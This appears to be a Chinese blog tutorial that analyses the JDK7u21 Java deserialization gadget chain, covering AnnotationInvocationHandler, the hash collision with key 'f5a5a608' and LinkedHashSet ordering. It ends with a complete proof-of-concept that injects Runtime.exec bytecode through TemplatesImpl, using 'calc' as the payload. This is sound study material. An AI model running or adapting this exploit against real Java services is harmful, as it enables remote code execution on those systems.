https://blog.csdn.net/rfrder/article/details/120007644

p 牛 java 安全漫谈

# AnnotationInvocationHandler.equalsImpl

image-20220716115919023

我们看一下 getMemberMethods

image-20220716121105997

调用的是 this.type.getDeclaredMethods() ,也就是说控制一下 this.type 就能调用想用的方法

由于 equalsImpl 是一个私有方法,所以我们需要去寻找一个调用了该方法的 public 方法

这一步只需要让 this.typeTemplates.class 即可

看一下构造函数

image-20220716151951584

先示意一下

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, new HashMap );

# AnnotationInvocationHandler.invoke

image-20220716120607295

由动态代理的知识,我们只需要找到一个代理类,使其调用 equals 方法即可

# HashSet.readObject

image-20220716121756064

这里使用了一个 HashMap ,将对象保存在 HashMapkey 处来做去重

跟进下 HashMapput 方法

image-20220716121956769

这个 i 就是哈希值,只有两个不同的对象的哈希值相同时才会执行到 key.equals(k) ,因为当 i 不同的时候两个对象会存在 table[i] 不在同一位置上

我们接下来的目的就是让 proxy 对象的哈希值,等于 TemplateImpl 对象的哈希值

# hash 碰撞

计算哈希的主要是下面这两行代码:

int hash = hash(key);
int i = indexFor(hash, table.length);

将其中的关键逻辑提权出来,可以得到下面这个函数:

public static int hash(Object key) {
	int h = 0;
	h ^= key.hashCode();
	h ^= (h >>> 20) ^ (h >>> 12);
	h = h ^ (h >>> 7) ^ (h >>> 4);
	return h & 15;
}

除了 key.hashCode() 外再没有其他变量,所以 proxy 对象与 TemplateImpl 对象的 “哈希” 是否相等,仅 取决于这两个对象的 hashCode() 是否相等。 TemplateImplhashCode() 是一个 Native 方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让 proxyhashCode() 与之相等,只能寄希望于 proxy.hashCode()

proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler.invoke ,进而调用到 AnnotationInvocationHandler.hashCodeImpl ,我们看看这个方法:

private int hashCodeImpl() {
        int var1 = 0;
        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }
        return var1;
    }

遍历 memberValues 这个 Map 中的每个 keyvalue ,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。

JDK7u21 中使用了一个非常巧妙的方法:

  • memberValues 中只有一个 key 和一个 value 时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
  • key.hashCode() 等于 0 时,任何数异或 0 的结果仍是他本身,所以该哈希简化成 value.hashCode()
  • value 就是 TemplateImpl 对象时,这两个哈希就变成完全相等

所以,我们找到一个 hashCode 是 0 的对象作为 memberValueskey ,将恶意 TemplateImpl 对象作为 value ,这个 proxy 计算的 hashCode 就与 TemplateImpl 对象本身的 hashCode 相等了。 找一个 hashCode 是 0 的对象,我们可以写一个简单的爆破程序来实现

public static void bruteHashCode()
{
	for (long i = 0; i < 9999999999L; i++) {
		if (Long.toHexString(i).hashCode() == 0) {
			System.out.println(Long.toHexString(i));
		}
	}
}

跑出来第一个是 f5a5a608

也就是说,要求 AnnotationInvocationHandler.memberValueskeyf5a5a608 ,值为恶意的 TemplatesImpl

HashMap<String, Object> memberValues = new HashMap<String, Object>();
memberValues.put("f5a5a608",templates);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, memberValues);

做个测试

TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        HashMap<String, Object> memberValues = new HashMap<String, Object>();
        memberValues.put("f5a5a608",templates);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, memberValues);
        Map proxy = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{Map.class}, h);
        System.out.println("Templates hashcode  :  " + templates.hashCode());
        System.out.println("proxy hashcode  :  " + proxy.hashCode());

image-20220716154045436

代理类是什么无所谓,只要有 equals 方法即可,后面的就很简单了

# poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class test {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        HashMap<String, Object> memberValues = new HashMap<String, Object>();
        memberValues.put("f5a5a608","miku");
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Templates.class, memberValues);
        Templates proxy = (Templates) Proxy.newProxyInstance(
                Templates.class.getClassLoader(),
                new Class[]{Templates.class},
                h
        );
        Map proxy2 = (Map) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{Map.class}, h);
        HashSet hashSet = new LinkedHashSet();
        hashSet.add(templates);
        hashSet.add(proxy2);
        memberValues.put("f5a5a608",templates);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashSet);
        oos.close();
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

image-20220716150832522

解释一下为啥用的 LinkedHashMap

反序列化的时候 2 次 put,必须第一次 put 的是 TemplatesImpl 对象,第二次是代理对象,才可以成功反序列化。说白了就是,次序上需要可控:

  • LinkedHashSet 是 Set 的一个具体实现,其维护着一个运行于所有条目的双重链接列表。此链接列表定义了迭代顺序,该迭代顺序可为插入顺序或是访问顺序。
  • LinkedHashSet 继承与 HashSet,并且其内部是通过 LinkedHashMap 来实现的。有点类似于我们之前说的 LinkedHashMap 其内部是基于 Hashmap 实现一样,不过还是有一点点区别的
  • 如果我们需要迭代的顺序为插入顺序或者访问顺序,那么 LinkedHashSet 是需要你首先考虑的。

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝